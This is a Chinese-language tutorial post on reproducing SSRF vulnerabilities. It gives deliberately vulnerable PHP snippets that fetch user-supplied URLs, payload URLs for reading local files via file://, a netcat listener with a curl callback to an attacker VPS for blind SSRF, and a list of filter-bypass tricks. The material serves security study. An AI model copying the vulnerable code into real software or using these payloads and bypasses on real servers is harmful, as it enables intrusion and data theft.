web安全-SSRF的复现与研究
【摘要】 0x00 什么是SSRFSSRF,中文名叫服务端请求伪造漏洞,利用漏洞可以发起网络请求来攻击内网服务0x01 用途SSRF 探测内网信息SSRF 导致命令执行file://协议读取本地文件攻击内外网web服务0x02 相关函数file_get_contents()<?phpif(isset($_GET['url'])){ $content=file_get_contents($_GET...
0x00 什么是SSRF
SSRF,中文名叫服务端请求伪造漏洞,利用漏洞可以发起网络请求来攻击内网服务
0x01 用途
- SSRF 探测内网信息
- SSRF 导致命令执行
- file://协议读取本地文件
- 攻击内外网web服务
0x02 相关函数
- file_get_contents()
<?php
if(isset($_GET['url']))
{
$content=file_get_contents($_GET['url']);
$filename=rand().'.img';
file_put_contents($filename,$content);
echo $_GET['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
- fsockopen()
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
- curl_exec()
可以使用file://绝对路径/文件 来达到任意文件读取
dict、gopher协议来探测端口
<?php
if(isset($_GET['url']))
{
$link=$_GET['url'];
//$filename='./'.rand().'.txt';
$curlobj=curl_init($link);
curl_setopt($curlobj,CURLOPT_FILE,$link);
curl_setopt($curlobj,CURLOPT_HEADER,0);
$result=curl_exec($curlobj);
curl_exec($curlobj);
curl_close($curlobj);
//fclose($link);
//file_put_contents($filename, $result);
echo $result;
}
?>
0x03 SSRF演练
最简单的验证SSRF
<?php
$host=$_GET['url'];
$fp = fsockopen("$host", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
然后构造url:
http://www.test.cc/ssrf.php?url=www.baidu.com
访问之后
可以看到地址栏还是没有改变,但是响应的内容已经是百度的了。
这就是个很经典的有回显的SSRF漏洞
SSRF导致的任意文件读取
测试代码1:
<?php
if(isset($_GET['url']))
{
$content=file_get_contents($_GET['url']);
$filename=rand().'.img';
file_put_contents($filename,$content);
echo $_GET['url'];
$img="<img src=\"".$filename."\"/>";
}
echo $img;
?>
测试代码2:
<?php
if(isset($_GET['url']))
{
$link=$_GET['url'];
//$filename='./'.rand().'.txt';
$curlobj=curl_init($link);
curl_setopt($curlobj,CURLOPT_FILE,$link);
curl_setopt($curlobj,CURLOPT_HEADER,0);
$result=curl_exec($curlobj);
curl_exec($curlobj);
curl_close($curlobj);
//fclose($link);
//file_put_contents($filename, $result);
echo $result;
}
?>
使用file://绝对路径/文件名 读取任意文件
当我们用这段代码的时候,构造payload:
http://www.test.cc/ssrf2.php?url=D:/phpStudy/WWW/test/ssrf.php
就会在当前目录生成一个xxx.img的文件,这个文件里面就是url参数后面的文件内容
然后右键打开这个图片,成功看到源代码
无回显的SSRF 验证
- curl
1.本机vps :nc -lvp 9000
2.目标站点:curl vps:9000
- dnslog平台
0x04 SSRF的绕过方法
- 用@进行绕过,例如http://example.com@127.0.0.1
- 用localhost进行绕过,例如:http://127.0.0.1:80
- 利用短网址进行绕过。
- 利用特殊域名进行绕过。例如127.0.0.1.xip.io(实际访问的还是1270.0.1)
- DNS解析绕过。
- 添加端口
- 利用。绕过 例如:http://127。0。0。1
- 使用进制转换进行绕过。(10进制,八进制,十六进制)
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)